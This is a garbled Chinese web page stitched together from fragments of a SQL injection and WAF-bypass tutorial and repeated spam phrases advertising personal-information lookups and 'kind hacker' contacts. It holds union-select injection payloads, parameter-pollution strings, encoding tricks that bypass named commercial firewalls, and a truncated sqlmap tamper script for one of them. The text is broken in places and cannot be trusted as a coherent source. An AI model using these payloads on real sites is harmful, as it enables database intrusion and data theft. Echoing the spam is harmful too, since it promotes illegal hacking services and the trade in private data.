-O-donotsubmitanyforms不测验提交表单这儿挑选内网的redis CSRF进犯 由于redis在内网中的散布很广个人身份信息查询,好心黑客联系方式
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');个人身份信息查询,好心黑客联系方式,黑客怎么找网站漏洞
{"name":"string"}1' union select null,null,flag,null from flag limit 1 offset 1-- - ------,xxxx-- 2.变形method(header头中) 某些apache版别在做GET恳求的时分,不管method为何值均会取出GET的内容。
如恳求的method名为DOTA,仍然会回来GET办法的值,即,能够恣意替换GET办法为其它值,但仍能有用作业,但假如waf严厉依照GET办法取值,则取不到任何内容 web运用层 1.两层URL编码: 即web运用层在接受到通过服务器层解码后的参数后,又进行了一次URL解码 2.改换恳求办法: 在web运用中运用了一致获取参数的办法: 如php里运用$_REQUEST获取参数,但WAF层假如过滤不全则简单bypass,如,waf层过滤了get/post,但没有过滤cookie,而web运用层并不关怀参数是否来自cookie urlencode和form-data: POST在提交数据的时分有两种办法,之一种办法是运用urlencode的办法提交,第二种办法是运用form-data的办法提交。
当咱们在测验的时分,假如发现POST提交的数据被过滤掉了,此刻能够考虑运用form-data的办法去提交 hpp asp.net + iis:id=1,2,3 #?str=a%27/&str=/and/&str=/@@version=0-- asp + iis :id=1,2,3 php + apache :id=3 jsp + tomcat :id=1 ``` 这儿供给一种针对一般检测的办法,我们可自行发挥。
mysql int型: %20%26%201=1 mysql.php?id=1%20%26%201=1 另外在字符型中 'and'1'='1是不需要加空格的,有时分也能够绕过一些waf判别 0x2 bypasswaf 因为mysql的灵活性,这儿以mysql绕过为主,针对各大干流waf厂商进行一个测验,首要测验在线版的,本地就安装了一个360主机卫兵。
其间下面的绕过都是以fuzz为主,不考虑web容器的特性,测验绕过联合查询 -1 union select 1,2,3 from dual 百度云加快bypass union select #filter from dual #not filted select from dual #filter 只需要绕过select即可 运用--+aaaaaa%0a可bypass 360主机卫兵bypass 发现%23%0aand%230a1=1 能够绕过and 1=1 约束 最终在union select from的时分却绕不过去 直接运用大字符串来fuzz %23-FUZZ-%0a https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 发现能够成功绕过waf 云锁 union select 如下就能够绕过 http://www.yunsuo.com.cn/download.html?id=1%20union/*!/*!select%201,2,3*/ 转换成multiform/data可轻松绕过 安全狗bypass 直接搞就行了 阿里云 测验运用自定义变量办法来绕过 @a:=(select @b:=table_namefrom{a information_schema.TABLES }limit 0,1)union select '1',@a @p:=(select)被过滤 fuzz下p参数运用@$:=(select)能够绕过 union select 1被过滤 运用union%23aa%0a/!select--%01%0a/1,@$,3 能够绕过 发现要点便是绕过表名 select 1 from dual 一些惯例的办法测验无果 随意fuzz下注释/!数字/却偶尔发现有俩个数据包遗失 ### 0x3 自动化 以360主机卫兵为例,编写sqlmap tamper脚本。
正常无waf sqlmap联合查询 敞开主机卫兵,放到浏览器调试,修正相关payload使其能正常运转。
最终tamper脚本如下: from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces keywords >>> tamper('UNION SELECT id FROM users') '1 union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374-- """ if payload: payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/") payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/") payload=payload.replace("CONCAT","/*!12345CONCAT*/") payload=payload.replace("CAST(","/*!12345CAST(*/") payload=payload.replace("CASE","/*!关于mysql的注入,基本上是每一名web安全从业者入门的基本功,这儿不多废话,结合自己无聊时在mysql上的测验,来谈一谈mysql在过滤某些特别字符情况下的注入,由于是想到哪写到哪,文章比较散,各位大佬请绕过,和我相同的小白能够看一看,温故而知新,必有所获。
site:hack.com intext:验证码
个人身份信息查询,好心黑客联系方式现,本来web也是很简洁明了的。